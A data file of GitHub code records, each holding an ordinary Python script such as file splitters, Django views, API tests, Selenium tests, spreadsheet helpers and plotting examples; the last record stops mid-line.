+{"seq_id":"2336702819","text":"import os\nimport sys\nfrom collections import defaultdict\nimport json\nimport copy\nimport shutil\nxks = defaultdict(list, [])\n\nMAX_SPLIT = 20\ninput_dir = sys.argv[1]\noutput_dir = sys.argv[2]\nname_map = {\n        \"yuwen\": \"语文\",\n        \"shuxue\": \"数学\",\n        \"yingyu\": \"英语\",\n        \"wuli\": \"物理\",\n        \"huaxue\": \"化学\",\n        \"shengwu\": \"生物\"\n\n}\n\ndef detect_type(name):\n    if \"文数\" in name:\n        return None\n    if \"理数\" in name or \"数学\" in name :\n        return \"shuxue\"\n    if \"英语\" in name:\n        return \"yingyu\"\n    if \"语文\" in name:\n        return \"yuwen\"\n    if \"物理\" in name:\n        return \"wuli\"\n    if \"化学\" in name:\n        return \"huaxue\"\n    if \"生物\" in name:\n        return \"shengwu\"\ndef is_ans(name):\n    if \"答案\" in name:\n        return True\n    elif '试题' in name:\n        return False\n    else:\n        return False\n\ndef fmt_name(name):\n    return name.replace(\"（\", \"(\").replace(\"）\", \")\").replace(\"'\", \"\").replace(\"\\\"\", \"\")\n\n\ndef key_func(a):\n    return 1 if is_ans(a) else 0\n\n\nx = sorted(os.listdir(input_dir))\nskf = {}\nfor i in x:\n    sub_dir = os.path.join(input_dir, i)\n    if os.path.isdir(sub_dir):\n        xkn = {}\n        sub_x = sorted(os.listdir(sub_dir), key = key_func, reverse=False)\n        if len(sub_x) > 0:\n            for si in sub_x:\n                ntype = detect_type(si)\n                if ntype:\n                    xks[ntype].append((i, si, is_ans(si)))\n\n        for k, xi in xks.items():\n            if len(xks[k] ) > MAX_SPLIT:\n                if k in skf:\n                    skf[k].append(copy.deepcopy(xks[k]))\n                else:\n                    skf[k] = [copy.deepcopy(xks[k])]\n                xks[k] = []\n\n\n\n\n\nfor k, v in skf.items():\n    for idx in range(len(v)):\n        xk_id = \"%s_%d\" % (k, idx)\n        xk_id_dir = os.path.join(output_dir, xk_id)\n        if not os.path.exists(xk_id_dir):\n            os.makedirs(xk_id_dir)\n        names = []\n        for (d, f, _) in v[idx]:\n            print(xk_id, d, f)\n            fname = fmt_name(f)\n            names.append(fname)\n            if_path = os.path.join(input_dir, d, f)\n            of_path = os.path.join(xk_id_dir, fname)\n            shutil.copy(if_path, of_path)\n        with open(os.path.join(xk_id_dir, \"file.json\"), \"w\") as f:\n            f.write(json.dumps({\"files\": names, \"name\": name_map[k], \"index\": idx + 1}))\n","repo_name":"all3n/gk","sub_path":"python/app/split.py","file_name":"split.py","file_ext":"py","file_size_in_byte":2398,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"1633343070","text":"import subprocess\nfrom tqdm import tqdm\nimport time\nimport os, sys\nimport pickle\nproject = sys.argv[1]\ncard = [0]\nlst = list(range(len(pickle.load(open(project + '.pkl', 'rb')))))\nsinglenums = {'Time':5, 'Math':2, \"Lang\":10, \"Chart\":3, \"Mockito\":4, \"Closure\":1}\nsinglenum = singlenums[project]\ntotalnum = len(card) * singlenum\nlr = 1e-2\nseed = 0\nbatch_size = 60\nfor i in tqdm(range(int(len(lst) / totalnum) + 1)):\n    jobs = []\n    for j in range(totalnum):\n        if totalnum * i + j >= len(lst):\n            continue\n        cardn =int(j / singlenum)\n        p = subprocess.Popen(\"CUDA_VISIBLE_DEVICES=\"+str(card[cardn]) + \" python run.py %d %s %f %d %d\"%(lst[totalnum * i + j], project, lr, seed, batch_size), shell=True)\n        jobs.append(p)\n        time.sleep(10)\n    for p in jobs:\n        p.wait()\np = subprocess.Popen(\"python sum.py %s %d %f %d\"%(project, seed, lr, batch_size), shell=True)\np.wait()\nsubprocess.Popen(\"python watch.py %s %d %f %d\"%(project, seed, lr, batch_size),shell=True)            ","repo_name":"yilinglou/Grace","sub_path":"Code/Default/runtotal.py","file_name":"runtotal.py","file_ext":"py","file_size_in_byte":1013,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"77"}
+{"seq_id":"30911077179","text":"from get_timestamp_data import GetTimestampData\nfrom progress_bar import ProgressPercentage\nfrom upload_data import UploadData\n\n\nclass TransferBotData():\n    \"\"\"\n    Obtain directories for the datasets tracked by the data tracker bot.\n    \n    \"\"\"\n    def __init__(self, linked_home_dir, platform=\"orion\"):\n        \"\"\"\n        Args: \n             linked_home_dir (str): User directory linked to the RDHPCS' root\n                                    data directory.\n             platform (str): RDHPCS of where the datasets will be sourced.\n        \"\"\"\n    \n        # Establish locality of where the dataseta will be sourced.\n        self.linked_home_dir = linked_home_dir\n\n        if platform == \"orion\":\n            self.orion_rt_data_dir = self.linked_home_dir + \"/noaa/nems/emc.nemspara/RT/NEMSfv3gfs/\"\n        else:\n            print(\"Select a different platform.\")\n            \n        # Filter to data tracker bot's timestamps & extract their corresponding UFS data file directories.\n        self.filter2tracker_ts_datasets = GetTimestampData(self.orion_rt_data_dir, None).filter2tracker_ts_datasets\n    \n        # Upload datasets tracked by data tracker bot.\n        UploadData(self.orion_rt_data_dir, self.filter2tracker_ts_datasets, use_bucket='rt').upload_files2cloud()\n        #print(\"Reach to upload\")        \n        #print(self.filter2tracker_ts_datasets.keys())\n        #print(self.filter2tracker_ts_datasets)\n        \n        \nif __name__ == '__main__': \n    \n    # Obtain directories for the datasets tracked by the data tracker bot.\n    TransferBotData(linked_home_dir=\"/home/schin/work\", platform=\"orion\")","repo_name":"NOAA-EPIC/ufs-data-uploader","sub_path":"transfer_bot_data.py","file_name":"transfer_bot_data.py","file_ext":"py","file_size_in_byte":1623,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"15057422236","text":"from django.contrib.sites.shortcuts import get_current_site\nfrom django.http import HttpResponsePermanentRedirect\nfrom django.shortcuts import get_object_or_404, render\nfrom django.urls import reverse\n\nfrom job_board.forms import SubscribeForm\nfrom job_board.models.category import Category\nfrom job_board.models.job import Job\n\n\ndef categories_index(request):\n    categories = Category.objects.filter(site_id=get_current_site(request).id)\n\n    for c in categories:\n        if len(c.active_jobs()) == 0:\n            categories = categories.exclude(id=c.id)\n\n    meta_desc = 'Browse a list of all categories with active jobs'\n    title = 'Categories'\n    context = {'meta_desc': meta_desc,\n               'title': title,\n               'categories': categories}\n    return render(request, 'job_board/categories_index.html', context)\n\n\ndef categories_show(request, category_id, slug=None):\n    category = get_object_or_404(\n                   Category,\n                   pk=category_id,\n                   site_id=get_current_site(request).id\n    )\n\n    if slug is None:\n        return HttpResponsePermanentRedirect(category.get_absolute_url())\n\n    jobs = Job.objects.filter(site_id=get_current_site(request).id) \\\n                      .filter(category_id=category_id) \\\n                      .filter(paid_at__isnull=False) \\\n                      .filter(expired_at__isnull=True) \\\n                      .order_by('-paid_at')\n    form = SubscribeForm()\n    meta_desc = 'Browse a list of all active %s jobs' % category.name\n    feed_url = reverse('categories_feed', args=(category.id, category.slug(),))\n    title = '%s Jobs' % category.name\n    context = {'meta_desc': meta_desc,\n               'link_rss': feed_url,\n               'title': title,\n               'form': form,\n               'jobs': jobs}\n    return render(request, 'job_board/jobs_index.html', context)\n","repo_name":"tramcar/tramcar","sub_path":"job_board/views/categories.py","file_name":"categories.py","file_ext":"py","file_size_in_byte":1873,"program_lang":"python","lang":"en","doc_type":"code","stars":57,"dataset":"github-code","pt":"77"}
+{"seq_id":"25374890329","text":"\"\"\"\nbackend-y helpers\n\"\"\"\n\nimport datetime\nimport json\nimport re\n\nfrom constants import JSON_NO_HOBBY\nfrom constants import PATH_CURRENT\nimport infogetters as info\nimport fileutils as futils\n\n\n#reset current.json\ndef clear_current_hobby(hobchannel):\n    newjson = {\n        \"name\": JSON_NO_HOBBY,\n        \"vetoers\": [],\n        \"notes\": \"\"\n    }\n\n    futils.clear_text_file(PATH_CURRENT)\n\n    #replace with default json values\n    with open(PATH_CURRENT, \"w\") as currentfile:\n        json.dump(newjson, currentfile)\n\n\n#move current hobby to another json file\ndef move_current_to_other_file(path, hobchannel):\n    current = info.get_current_hobby_name()\n    vetoers = info.get_current_vetoers()\n    notes = info.get_current_notes()\n\n    #create new entry with info from current hobby\n    newentry = {current: {\"vetoers\": vetoers, \"notes\": notes}}\n\n\n    #get dict of completed hobbies\n    with open(path) as f:\n        filejson = json.load(f)\n    \n    #add now-completed hobby to list of completed hobbies\n    filejson.update(newentry)\n\n    #write back to file\n    with open(path, \"w\") as f:\n        json.dump(filejson, f)\n\n    #reset current hobby\n    clear_current_hobby(hobchannel)\n\n\n#move current hobby to another json file\ndef move_current_to_other_file_with_date(path, hobchannel):\n    current = info.get_current_hobby_name()\n    vetoers = info.get_current_vetoers()\n    notes = info.get_current_notes()\n    date = str(datetime.date.today())\n\n    #create new entry with info from current hobby\n    newentry = {current: {\"vetoers\": vetoers, \"notes\": notes, \"date\": date}}\n\n\n    #get dict of completed hobbies\n    with open(path) as f:\n        filejson = json.load(f)\n    \n    #add now-completed hobby to list of completed hobbies\n    filejson.update(newentry)\n\n    #write back to file\n    with open(path, \"w\") as f:\n        json.dump(filejson, f)\n\n    #reset current hobby\n    clear_current_hobby(hobchannel)\n\n\n#return dict as string in nice format\n#(from https://stackoverflow.com/a/3229493)\ndef prettify_dict(d, indent=0):\n    outstr = \"\"\n\n    for key, value in d.items():\n        outstr += '\\t' * indent + str(key) + \"\\n\"\n        if isinstance(value, dict):\n            outstr += prettify_dict(value, indent+1)\n        else:\n            outstr += '\\t' * (indent+1) + str(value) + \"\\n\"\n\n    return outstr\n\n\n#add <angled brackets> around urls, return the string\ndef unembed_links(string):\n    #match url, from https://www.geeksforgeeks.org/python-check-url-string/\n    urls = re.findall(r'(https?://\\S+)', string)\n    for url in urls:\n        string = string.replace(url, f\"<{url}>\")\n    \n    return string\n\n\n\"\"\" unused, but holding on to it just in case\n#ask for a confirmation\nasync def request_confirmation(type, hobchannel):\n    current = info.get_current_hobby_name()\n\n    if (type == \"complete\"):\n        await hobchannel.send(f\"Really finished with {current}? Make sure to add any notes **before** confirming.\")\n        global waiting_for_complete_confirm\n        waiting_for_complete_confirm = True\n    elif (type == \"veto\"):\n        await hobchannel.send(f\"Really veto {current}?\")\n        global waiting_for_veto_confirm\n        waiting_for_veto_confirm = True\n    else:\n        await hobchannel.send(f\"Really do {current} later?\")\n        global waiting_for_later_confirm\n        waiting_for_later_confirm = True\n\"\"\"","repo_name":"KyleJMcCullen/hobbot","sub_path":"src/helpers.py","file_name":"helpers.py","file_ext":"py","file_size_in_byte":3331,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"26149056261","text":"import unittest\nimport requests\nimport subprocess\nimport logging\nimport time\n\nimport todo\n\nTEST_HOST = 'todo.migrateup.com'\nTEST_PORT = 8080\ntodo.API_BASE = 'http://{}:{}'.format(TEST_HOST, TEST_PORT)\n\nlogging.basicConfig(\n    filename='test/log/inttest.log',\n    level=logging.INFO,\n    filemode='w',\n)\n\nclass TestTodo(unittest.TestCase):\n    def setUp(self):\n        resp = todo.clear()\n        self.assertEqual(200, resp.status_code)\n\n    def terminate_test_server(self):\n        logging.info('Terminating test todoserver: %d', self.server.pid)\n        self.server.terminate()\n        self.server.wait(1)\n        \n    def test_get_empty_task_list(self):\n        resp = todo.get_tasks()\n        self.assertEqual(200, resp.status_code)\n        self.assertEqual([], resp.json())\n\n    def test_add_one_task_then_delete(self):\n        task_summary = 'Buy milk'\n        task_description = 'Lots and lots of delicious milk'\n        # check test assumption\n        resp = todo.get_tasks()\n        self.assertEqual(200, resp.status_code)\n        self.assertEqual([], resp.json())\n        # add an item\n        resp = todo.add_task(task_summary, task_description)\n        self.assertEqual(201, resp.status_code)\n        returned = resp.json()\n        self.assertEqual(dict, type(returned))\n        self.assertIn('id', returned)\n        task_id = returned['id']\n        # fetch this one task\n        resp = todo.describe_task(task_id)\n        self.assertEqual(200, resp.status_code)\n        returned = resp.json()\n        self.assertEqual(dict, type(returned))\n        self.assertEqual(task_id, returned['id'])\n        self.assertEqual(task_summary, returned['summary'])\n        self.assertEqual(task_description, returned['description'])\n        # fetch all tasks\n        resp = todo.get_tasks()\n        self.assertEqual(200, resp.status_code)\n        returned = resp.json()\n        self.assertEqual(1, len(returned))\n        self.assertEqual(task_id, returned[0]['id'])\n        # delete this task\n        resp = todo.task_done(task_id)\n        self.assertEqual(200, resp.status_code)\n        #  now it shouldn't exist - by direct lookup...\n        resp = todo.describe_task(task_id)\n        self.assertEqual(404, resp.status_code)\n        #  or in all items...\n        resp = todo.get_tasks()\n        self.assertEqual(200, resp.status_code)\n        returned = resp.json()\n        self.assertEqual(0, len(returned))\n        #  or if we try to delete a second time.\n        resp = todo.task_done(task_id)\n        self.assertEqual(404, resp.status_code)\n        \n    def test_update_task(self):\n        task_summary = 'Buy milk'\n        task_description = 'Lots and lots of delicious milk'\n        task_summary2 = task_summary + '!!'\n        task_description2 = task_description + '!!'\n        # add an item\n        resp = todo.add_task(task_summary, task_description)\n        self.assertEqual(201, resp.status_code)\n        task_id = resp.json()['id']\n\n        # now update it\n        resp = todo.update_task(task_id, task_summary2, task_description2)\n        self.assertEqual(200, resp.status_code)\n\n        # refetch and check\n        resp = todo.describe_task(task_id)\n        self.assertEqual(200, resp.status_code)\n        returned = resp.json()\n        self.assertEqual(task_summary2, returned['summary'])\n        self.assertEqual(task_description2, returned['description'])\n\n    def test_update_task_not_found_returns_error(self):\n        resp = todo.update_task(42, 'foo', 'bar')\n        self.assertEqual(404, resp.status_code)\n","repo_name":"redsymbol/todo-sdk-py","sub_path":"test/test_todoserver_int_vm.py","file_name":"test_todoserver_int_vm.py","file_ext":"py","file_size_in_byte":3528,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"7889747827","text":"import sys\nfrom commonUtils import json2lab\nimport argparse\n\ndef get_args():\n    parser = argparse.ArgumentParser(\n        description='convert input .json file to SonicVisualizer readable .lab file')\n    parser.add_argument(\n        '-c', '--choose', type=str, help='choose information to extract (options: chords / keys )', action='store', choices=['chords', 'keys'])\n    parser.add_argument(\n        '-i', '--input', type=str, help='input annotation file in .json file', required = True)\n    parser.add_argument(\n        '-o', '--output', type=str, default='output.lab', help='output file in .lab file (default output.lab)', required = True)\n    args = parser.parse_args()\n    choice = args.choose\n    infile = args.input\n    outfile = args.output \n    \n    return choice, infile, outfile\n\n\nchoice, infile, outfile = get_args()\n    \n    \njson2lab(choice, infile, outfile)\n","repo_name":"seffka/jazz-harmony-analysis","sub_path":"utils/json2ChordLab.py","file_name":"json2ChordLab.py","file_ext":"py","file_size_in_byte":875,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"35941888215","text":"import csv\nimport enum\n\ndef read_portfolio(filename):\n    '''\n    portfolio 파일을 읽어 Dict들의 List로 반환합니다.\n    '''\n    with open(filename, 'rt') as f:\n        rows = csv.reader(f)\n        headers = next(rows)\n        portfolio = []\n        for rowNo, row in enumerate(rows):\n            try:\n                row = [row[0], int(row[1]), float(row[2])]\n                portfolio.append(dict(zip(headers, row)))\n            except ValueError:\n                throwValueErrorFromRow(rowNo)\n            \n    return portfolio\n        \ndef read_prices(filename):\n    '''\n    prices 파일을 읽어 Dict들의 List로 반환합니다.\n    '''\n    with open(filename, 'rt') as f:\n        rows = csv.reader(f)\n        prices = {}\n        for rowNo, row in enumerate(rows):\n            try:\n                row = [row[0], float(row[1])]\n                prices[row[0]] = row[1]\n            except IndexError:\n                # throwIndexErrorFromRow(rowNo)\n                pass\n    return prices\n\ndef throwIndexErrorFromRow(rowNo):\n    raise IndexError(f\"Row {rowNo} : Can't read this Row.\")\n\ndef throwValueErrorFromRow(rowNo):\n    raise ValueError(f\"Row {rowNo} : Can't read this Row.\")\n            \n\ndef read_portfolio2(lines):\n    '''\n    portfolio 파일을 읽어 Dict들의 List로 반환합니다.\n    '''\n    headers = next(lines)\n    portfolio = []\n    for rowNo, row in enumerate(lines):\n        print(row)\n        # try:\n        #     row = [row[0], int(row[1]), float(row[2])]\n        #     portfolio.append(dict(zip(headers, row)))\n        # except ValueError:\n        #     throwValueErrorFromRow(rowNo)\n            \n    return portfolio\n\n\n            \nimport gzip\nwith gzip.open('Data/portfolio.csv.gz', 'rt') as file:\n    port = read_portfolio2(file)\n    \nread_portfolio2('Data/portfolio.csv')","repo_name":"HC-kang/practical-python","sub_path":"Work/before/fileparse2.py","file_name":"fileparse2.py","file_ext":"py","file_size_in_byte":1820,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"24677594024","text":"from setuptools import find_packages,setup\nrequirements = []\nx = '-e .'\ndef get_requirements(file_path:str):\n    '''this function will return list of requirements'''\n    with open(file_path) as file_obj:\n        requirements = file_obj.readlines()\n        requirements=[req.replace('\\n','') for req in requirements]\n        if x in requirements:\n            requirements.remove(x)\n    return list(requirements)\n\n\nsetup(\nname=\"demo project\",\nversion='0.0.1',\nauthor='Anirnudha sutar',\nauthor_email='sutaraniudha604@gmail.com',\npackages=find_packages(),\ninstall_requires=get_requirements('requirement.txt')\n\n\n)","repo_name":"anirudh6370/streamlit","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":608,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"40968755836","text":"import os\n\nimport pandas as pd\n\nfrom . import logging\n\n\ndef load_all_documents(directory):\n\n    if directory is None:\n        logging.info(\n            \"*  --------------------------------------------------------------------------------\"\n        )\n        logging.info(\"*  Argument `directory` is **None**. \")\n        logging.info(\n            \"*  Loading test data from DEBUG directory /workspaces/techminer-api/tests/data/\"\n        )\n        logging.info(\n            \"*  --------------------------------------------------------------------------------\"\n        )\n        directory = \"/workspaces/techminer-api/tests/data/\"\n\n    filename = os.path.join(directory, \"documents.csv\")\n    if not os.path.isfile(filename):\n        raise FileNotFoundError(f\"The file '{filename}' does not exist.\")\n    documents = pd.read_csv(filename, sep=\",\", encoding=\"utf-8\")\n\n    return documents\n","repo_name":"jdvelasq/flask-labs","sub_path":"app/techminer/utils/load_all_documents.py","file_name":"load_all_documents.py","file_ext":"py","file_size_in_byte":881,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"10417355155","text":"from .page import * \n\ntime.sleep(1)\ndef case_1_4(self, full_screen):\n    self.page.loger('\\n Запуск Тест кейс № 1_4 tvweb_new-1_4: Пополнение личного счета с карты на 1 рубль \\n')\n\n    emailt = 'ttvzavr126@mail.ru'\n    passw = '111111'\n    \n    summa = \"1\"\n    name = \"Proxy Test\"\n\n    time.sleep(2)\n    self.page.click_f('Клик_Вход', 1)\n    time.sleep(1)\n    #self.page.send_f('Ввод_логина_вход', emailt, 2)\n    self.driver.find_element_by_xpath('.//input[@class=\"authorization__login textbox\"]').send_keys(emailt)\n    time.sleep(2)\n\n    #self.page.send_f('Ввод_пароля_вход', passw, 3)\n    self.driver.find_element_by_xpath('.//input[@class=\"authorization__password textbox\"]').send_keys(passw)\n    time.sleep(2)\n    \n    self.page.click_f('Клик_Войти_auth', 4)\n    time.sleep(2)\n\n    self.prof.click_f('Клик_значок_пользователя', 5)\n\n    cash_1 = self.driver.find_element_by_xpath(\"//span[@class='__userbalance currency- currency currency-RUB']\") # проверка личного счета до пополнения\n    cash_1 = cash_1.get_attribute('innerHTML')\n    self.page.loger('Счёт до пополнения: ' + cash_1)\n    cash_1 = int(cash_1)\n\n    time.sleep(1)\n    self.prof.click_f('Клик_Личный_счет', 6)\n    time.sleep(1)\n\n    self.prof.click_f('Клик_Пополнить', 7)\n    time.sleep(2)\n    self.page.send_f('Ввод_суммы_пополнения_счета', summa, 8)\n    time.sleep(2) \n    self.card.click_f('Клик_Оплатить_личный_счет', 9) # подразумевается, что карта для оплаты сохранена\n    time.sleep(15)  # время на прохождение оплаты\n    self.prof.click_f('Клик_значок_пользователя', 10)\n    time.sleep(1)\n\n    cash_2 = self.driver.find_element_by_xpath(\"//span[@class='__userbalance currency- currency currency-RUB']\") # проверка личного счета после пополнения\n    cash_2 = cash_2.get_attribute('innerHTML')\n    self.page.loger('Счёт после пополнения: ' + cash_2)\n    cash_2 = int(cash_2)\n\n    if cash_1 < cash_2:\n        self.page.loger('Счёт успешно пополнен!')\n    else:\n        self.page.loger('Счёт не пополнен')\n        assert()\n\n    self.prof.click_f('Клик_Выйти', 11)\n    time.sleep(1)\n    self.driver.quit()","repo_name":"Alekseybykov126/tvz","sub_path":"test_case_1_4.py","file_name":"test_case_1_4.py","file_ext":"py","file_size_in_byte":2497,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"34922805919","text":"import matplotlib.pyplot as plt\nimport requests\nimport time\n\nif __name__ == \"__main__\":\n    plt.ion()\n    \n    y = []\n    X = []\n    while True:\n        request = requests.get(\"https://api.coinbase.com/v2/prices/BTC-MXN/buy\")\n        print(\"Valor: \", request.json()['data']['amount'])\n        \n        request2 = requests.get(\"https://api.coinbase.com/v2/prices/BTC-MXN/sell\")\n        print(\"Venta: \", request2.json()['data']['amount'])\n        \n        if request.status_code == 200 and request2.status_code:\n            y.append(request.json()['data']['amount'])\n            X.append(request2.json()['data']['amount'])\n    \n            plt.plot(y)\n            plt.xlabel(\"Valor del bitcoin: azul\")\n            plt.ylabel(\"Venta del bitcoin: naranja\")\n            plt.plot(X)\n            plt.pause(0.05)\n            plt.cla()\n            time.sleep(1)","repo_name":"Josecolin99/Coinbase","sub_path":"main_grafica.py","file_name":"main_grafica.py","file_ext":"py","file_size_in_byte":852,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"26048727261","text":"\n\ndef get_row_count(spreadsheet, sheet_id, worksheet_name):\n    info = get_sheet_info(spreadsheet, sheet_id)\n    for i in info[\"sheets\"]:\n        properties = i[\"properties\"]\n        if properties[\"title\"] == worksheet_name:\n            return properties[\"gridProperties\"][\"rowCount\"]\n    return 0\n\n\ndef get_sheet_info(spreadsheet, sheet_id):\n    sheet = spreadsheet.account.get(\n        spreadsheetId=sheet_id\n    ).execute()\n    return sheet\n\n\ndef find_worksheet(spreadsheet, sheet_id, worksheet_name):\n    sheet = get_sheet_info(spreadsheet, sheet_id)\n    wks_list = sheet.get(\"sheets\")\n    for wks in wks_list:\n        if wks.get(\"properties\").get(\"title\").lower() == worksheet_name.lower():\n            return wks\n    print(\"This worksheet doesn't exist\")\n    return None\n\n\ndef add_worksheet(spreadsheet, sheet_id, worksheet_name):\n    requests = [\n        {\n            \"addSheet\": {\n                \"properties\": {\n                    \"title\": worksheet_name,\n                    \"tabColor\": {\n                        \"red\": 0.0,\n                        \"green\": 0.0,\n                        \"blue\": 1.0\n                    }\n                }\n            }\n        }\n    ]\n    body = {\n        'requests': requests\n    }\n    response = spreadsheet.account.batchUpdate(spreadsheetId=sheet_id, body=body).execute()\n    return response\n","repo_name":"dacker-team/pyspreadsheet","sub_path":"pyspreadsheet/core/manage_sheet.py","file_name":"manage_sheet.py","file_ext":"py","file_size_in_byte":1341,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"77"}
+{"seq_id":"22298033473","text":"from github_spider.util.util import Util\nimport time\nimport threading\nimport os\n\nutil = Util()\n\n\nclass BaseRequester:\n    def __init__(self):\n        base_path = os.path.dirname(os.path.dirname(__file__)) + os.sep + \"util\" + os.sep\n        self.limit_path = base_path + \"limit_count.txt\"\n        self.time_path = base_path + \"start_time.txt\"\n        self.limit_count = 0\n        last_time = self.__read_time()\n        self.start_time = time.time()\n        if (last_time - self.start_time) >= 3600:\n            self.__write_limit_count()\n        self.__write_time()\n        # 声明一个线程锁\n        self.lock = threading.RLock()\n\n    def _random_header(self):\n        headers = {\n            \"user-agent\": util.get_user_agent(),\n            \"Authorization\": \"token \" + util.get_api_token()\n        }\n        return headers\n\n    # 下面三个方法的主要作用就是检测一小时之内是否以达到5000次的访问上限\n    def __add_limit_times(self):\n        limit_count = self.__read_limit_count()\n        self.limit_count = limit_count + 1\n        self.__write_limit_count()\n\n    def __test_time(self):\n        now_time = time.time()\n        start_time = self.__read_time()\n        during_time = now_time - start_time\n        if during_time > 3600:\n            self.start_time = now_time\n            self.__write_time()\n            self.limit_count = 0\n            self.__write_limit_count()\n        else:\n            timeArray = time.localtime(now_time)\n            date = time.strftime(\"%Y-%m-%d %H:%M:%S\", timeArray)\n            print(f\"\\r{date} — INFO: 由于爬取已经超过一小时5000次的请求上限，需要睡眠{((3600 - during_time) // 60) + 1}分钟\", end=\"\",\n                  flush=True)\n            time.sleep(3600 - during_time)\n\n    def _test(self):\n        self.lock.acquire()\n        self.__add_limit_times()\n        limit_count = self.__read_limit_count()\n        if limit_count >= 4999:\n            self.__test_time()\n        self.lock.release()\n\n    # 该方法是提供给子方法用来判断请求是否超标了的\n    def _get_limit_count(self):\n        return self.__read_limit_count()\n\n    def __read_time(self):\n        with open(self.time_path, mode=\"r\", encoding=\"utf-8\") as f:\n            try:\n                start_time = float(f.read())\n            except Exception:\n                start_time = time.time()\n        f.close()\n        return start_time\n\n    def __read_limit_count(self):\n        with open(self.limit_path, mode=\"r\", encoding=\"utf-8\") as f:\n            try:\n                limit_count = int(f.read())\n            except Exception:\n                limit_count = 0\n        f.close()\n        return limit_count\n\n    def __write_time(self):\n        with open(self.time_path, mode=\"w\", encoding=\"utf-8\") as f:\n            f.write(str(self.start_time))\n        f.close()\n\n    def __write_limit_count(self):\n        with open(self.limit_path, mode=\"w\", encoding=\"utf-8\") as f:\n            f.write(str(self.limit_count))\n        f.close()\n","repo_name":"srx-2000/spider_collection","sub_path":"github_spider/Requester/BaseRequester.py","file_name":"BaseRequester.py","file_ext":"py","file_size_in_byte":3008,"program_lang":"python","lang":"en","doc_type":"code","stars":814,"dataset":"github-code","pt":"77"}
+{"seq_id":"29347716479","text":"#Ordenar tres números\na=int(input(\"primer valor: \"))\nb=int(input(\"segundo valor: \"))\nc=int(input(\"tercer valor: \"))\nif a<=b<=c: \n  print(a,\",\",b,\",\",c)\nif a<=c<=b:\n  print(a,\",\",c,\",\",b)\nif b<=a<=c:\n  print(b,\",\",a,\",\",c)\nif c<=b<=a:\n  print(c,\",\",b,\",\",a)\nif c<=a<=b:\n  print(c,\",\",a,\",\",b)\nif b<=c<=a:\n  print(b,\",\",c,\",\",a)","repo_name":"pabloschwarzenberg/grader","sub_path":"hito1_ej6/hito1_ej6_0193faeb57d572f204e953766d762196.py","file_name":"hito1_ej6_0193faeb57d572f204e953766d762196.py","file_ext":"py","file_size_in_byte":327,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"23061571030","text":"import time\nfrom headers.pulse_tube import PulseTube\nfrom headers.zmq_server_socket import create_server\n\ndef pt_thread():\n    pt = PulseTube()\n\n    with create_server('pt') as publisher:\n        while True:\n            ##### Read thermometers #####\n            pt.status(silent=True)\n            variables = {key: val[1] for key, val in pt.variables.items()}\n            publisher.send({\n                'running': pt.is_on(),\n                **variables,\n            })\n            time.sleep(0.5)\n","repo_name":"vuthalab/EDM","sub_path":"threads/pt.py","file_name":"pt.py","file_ext":"py","file_size_in_byte":500,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"18502701601","text":"def remove_all_adj_dup(s, k):\n    stack = []\n\n    for char in s:\n        if not stack or stack[-1][0] != char:\n            stack.append([char])\n        elif stack[-1][0] == char:\n            if len(stack[-1]) == k - 1:\n                stack.pop()\n            else:\n                stack[-1].append(char)\n    return \"\".join(\"\".join(i) for i in stack)\n","repo_name":"candaceleach41/algo_ds_coding_prep","sub_path":"medium/remove_all_adj_dup_in_string_ii.py","file_name":"remove_all_adj_dup_in_string_ii.py","file_ext":"py","file_size_in_byte":350,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"4012820344","text":"\"\"\"\n2018-02-21T22:30:22.014Z\n@author: Alejandro Guevara\n\"\"\"\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\n\n# Create some data so we can work with\nx = np.arange(12)\ny = x**2\n\nplt.plot(x, y) # Plots the data using a blue line\nplt.show()\n\nplt.plot(x, y, '*') # Scatter plot using '*' for each point\nplt.show()\n\nplt.plot(x, y, 'r--') # Line plot, red colored and dotted line\nplt.show()\n\n# More options for format can be review at the end of this document\n\n# Plots with red dotted line, the scales are specified with xlim and y xlim\n# The plot gets a tittle and labels are asigned for the axis\nplt.plot(x,y,'r--')\nplt.xlim(2,4)\nplt.ylim(10,20)\nplt.title(\"Zoomed\")\nplt.xlabel(\"X Axis\")\nplt.ylabel(\"Y Axis\")\nplt.show()\n\n# New data is generated, this time a matrix with incremental values\nmat = np.arange(0, 100).reshape(10,10)\n\n# imshow is used to print images, which are nothing more than matrices with values\nplt.imshow(mat)\nplt.show()\n\n# New data is generated this time randint matrix\nmat = np.random.randint(0,100,(10,10))\n\n# imshow lets us change the coloring it is using for the Plot\n# adding a colobar will help to understand the plot\nplt.imshow(mat, cmap=\"coolwarm\")\nplt.colorbar()\nplt.show()\n\n## Plotting with Pandas Data\n\n# We can create a DataFrame reading from a CSV file, or Numpy array, etc.\ndf = pd.read_csv('salaries.csv')\nprint(df)\n\n# df.plot is derived from pyplot, so the results are quite similar\ndf.plot(x='Salary',y='Age',kind='scatter')\nplt.show()\n\ndf.plot(x='Salary',kind='hist')\nplt.show()\n\n# It is possible to print an histogram direcly from the DataFrame column\ndf['Age'].hist()\nplt.show()\n\n# A full list of kinds is available at the end of this 